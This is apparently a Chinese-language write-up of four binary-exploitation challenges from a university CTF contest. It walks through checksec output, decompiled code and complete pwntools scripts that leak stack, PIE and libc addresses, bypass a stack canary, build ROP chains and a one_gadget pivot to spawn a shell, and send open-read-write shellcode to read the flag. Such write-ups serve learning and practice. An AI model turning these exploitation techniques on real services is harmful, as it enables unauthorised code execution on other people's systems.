1:array

拿到题目,先`checksec`一下:

```
   Arch:     amd64-64-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
```

可以看到保护全开,让人十分有安全感(迫真)

然后让我们看看题目代码:

main:

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-B4h] BYREF
  char v5[168]; // [rsp+10h] [rbp-B0h] BYREF
  unsigned __int64 v6; // [rsp+B8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      meau();
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      if ( v4 != 1 )
        break;
      show((__int64)v5);
    }
    if ( v4 != 2 )
      break;
    edit((__int64)v5);
  }
  printf("Invalid input");
  return 0;
}
```

show:

```
unsigned __int64 __fastcall show(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("what do you want to see?");
  v2 = 0;
  __isoc99_scanf("%d", &v2);
  if ( v2 <= 23 )
  {
    write(1, (const void *)(8 * v2 + a1), 8uLL);
    putchar(10);
  }
  else
  {
    puts("inviade index");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

edit:

```
unsigned __int64 __fastcall edit(__int64 a1)
{
  int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("which one you want to edit?");
  v2 = 0;
  __isoc99_scanf("%d", &v2);
  if ( v2 <= 23 )
  {
    puts("Enter your content");
    read(0, (void *)(8 * v2 + a1), 8uLL);
  }
  else
  {
    puts("invalid index");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

题解:

可以看到,程序为我们提供了两个功能:读0~a1+23*8内的内容,写0~a1+23*8内的内容.

因为这两个功能大概率要用很多次,所以我们先给它们写个函数封装一下:

```
def _read(add):
    r.sendline(b'1')
    r.recvuntil(b"see?\n")
    r.sendline(add)
    recv=r.recv(0x8)
    return u64(recv)
def _write(add,payload):
    r.sendline(b'2')
    r.sendline(add)
    r.recv()
    r.send(payload)
    return
```

然后我们就开始了反复调试的过程:简单的说,就是利用我们写好的`_read()`函数在栈上寻找各种地址,比如和`main`同一页的地址,和`stack`同一页的地址,和`read`同一页的地址之类的.这些地址在程序每次运行时都会改变,但是它们和那些我们真正需要的地址的偏移是不变的.因此,我们可以设法泄露这些地址,再通过调试确定偏移量,进而得到那些我们需要的地址.

```
from pwn import *
rdi=0xca3
main=0xB7E
system=0xB36
learet=0xB29
gadget=0x4f302
context.log_level = 'debug'
context.arch = 'amd64'
libc=ELF("./libc-2.27.so")
r=remote("contest.ctf.nefu.edu.cn",33745)
#r=process("./pwn")
#gdb.attach(r)
#pause()
def _read(add):
    r.sendline(b'1')
    r.recvuntil(b"see?\n")
    r.sendline(add)
    recv=r.recv(0x8)
    return u64(recv)
def _write(add,payload):
    r.sendline(b'2')
    r.sendline(add)
    r.recv()
    r.send(payload)
    return
r.recv()
stack_add=_read(b'-4')-0xc0
print(hex(stack_add))

main_add=_read(b'-16')-0x146
print(hex(main_add))
#pause()
read_add=_read(b'-29')-0xE4
print(hex(read_add))
libc_base=read_add-libc.sym["read"]
#pause()
base_add=main_add-main
```

有了栈地址和libc基址,我们就可以利用one_garget解题了(我试过system(如果我没记错的话),但是没成功.我觉得execve应该也行,就是更麻烦)

```
_write(b'0',p64(gadget+libc_base))

_write(b'22',p64(stack_add+0x10-0x8))
_write(b'23',p64(base_add+learet))
r.recv()
r.interactive()
```

2:ez_rop

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

只开了nx

```
from pwn import *
rsi_add=0x401182
#this+pop_rsi==pop rdi
rdi_add=0x40117E
#^^^^^^^^^^^^^^^^^^^^^^
puts_plt=0x401060
main_add=0x40120E
vuln_add=0x4011D5
leak_got=0x404028
ret_add=0x101a
rdxrcx_add=0x11f2e7
rax_add=0x45eb0
syscall_add=0x91316

context.log_level = 'debug'
context.arch = 'amd64'
libc=ELF("./libc.so.6")
r=remote("contest.ctf.nefu.edu.cn",33794)
#r=process("./pwn")
#gdb.attach(r)
#pause()

r.recv()
payload1=b'a'*0x28+p64(rsi_add)+p64(leak_got)+p64(rdi_add)+p64(puts_plt)+p64(vuln
_add)

r.sendline(payload1)
pause()
main_add=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
base_add=main_add-libc.sym["read"]

print(hex(base_add))
binsh_add=libc.search("/bin/sh").next()
sys_add=libc.sym["system"]
print(hex(binsh_add))
print(hex(sys_add))
#payload2=b'a'*0x28+p64(rsi_add)+p64(binsh_add+base_add)+p64(rdi_add)+p64(sys_add
+base_add)
payload2=b'a'*0x28+p64(rsi_add)+p64(binsh_add+base_add)+p64(rdi_add)+p64(rsi_add)
+p64(0)+p64(rdxrcx_add+base_add)+p64(0)+p64(0)+p64(rax_add+base_add)+p64(59)+p64(
syscall_add+base_add)
r.sendline(payload2)

r.interactive()
```

用`gift`里的`mov rdi rsi;`与`pop rdi;`组合,实现`pop rdi`的效果.之后我们泄露libc基址,再用`execve("/bin/sh",0,0)`getshell.`system`试过了,不行.大概是需要的栈空间太大的原因.

3:orw

```
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

除了`canary`都开了.另外还有沙箱ban掉了`execve`

```
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
libc=ELF("./libc.so.6")

r=remote("contest.ctf.nefu.edu.cn",33775)
#r=process("./pwn")
#gdb.attach(r)
#pause()

r.recvuntil("gift: ")
gift_add=r.recvuntil("\n")[:-1]
print(gift_add)
pause()
orw=shellcraft.open('./flag')
orw+=shellcraft.read(3,int(gift_add,16)+0x400,0x50)
orw+=shellcraft.write(1,int(gift_add,16)+0x400,0x50)

r.sendafter("shellcode",asm(orw))
r.interactive()
```

用shellcraft模块构造出`orw shellcaft`,读取flag输出.

4:relibc

很简单的一道ret2libc+canary绕过.但我忘记对齐导致做了半天没成功...

```
from pwn import *
vuln_add=0x40078C
puts_plt=0x400580
puts_got=0x600C30
rdi_add=0x40078a
ret_add=0x400566
context.log_level = 'debug'
context.arch = 'amd64'
r=remote("contest.ctf.nefu.edu.cn",33776)

libc=ELF("./libc-2.27.so")
#r=process("./pwn")
#gdb.attach(r)
#pause()
```

```
r.recv()
payload=b"a"*23+b'b'
r.sendline(payload)
r.recvuntil("aaaaaaab")
ch=u64(r.recv(8))-0xa
r.recv()
print(hex(ch))
payload2=b'a'*24+p64(ch)+b'a'*0x8+p64(rdi_add)+p64(puts_got)+p64(puts_plt)+p64(vu
ln_add)
r.sendline(payload2)
pause()
put_add=u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
pause()
print(hex(put_add))
pause()
base_add=put_add-libc.sym["puts"]
base_add-=base_add%0x1000 #本地调试时似乎不这样做没法得到正确的基址
system_add=base_add+libc.sym["system"]
binsh_add=base_add+libc.search("/bin/sh").next()
r.sendline(b"aaaa")
payload3=b'a'*24+p64(ch)+b'a'*0x8+p64(rdi_add)+p64(binsh_add)+p64(ret_add)+p64(sy
stem_add)
r.sendline(payload3)
r.recv()
r.interactive()
```

感觉这次状态很差...在做array这题时就几乎失去逻辑思考能力了,偏移全是靠穷举出的.后面几题更是意识模糊...(当然,并不能将解不出题都归咎到身体不适上)所以请原谅我将writeup写的这么简单.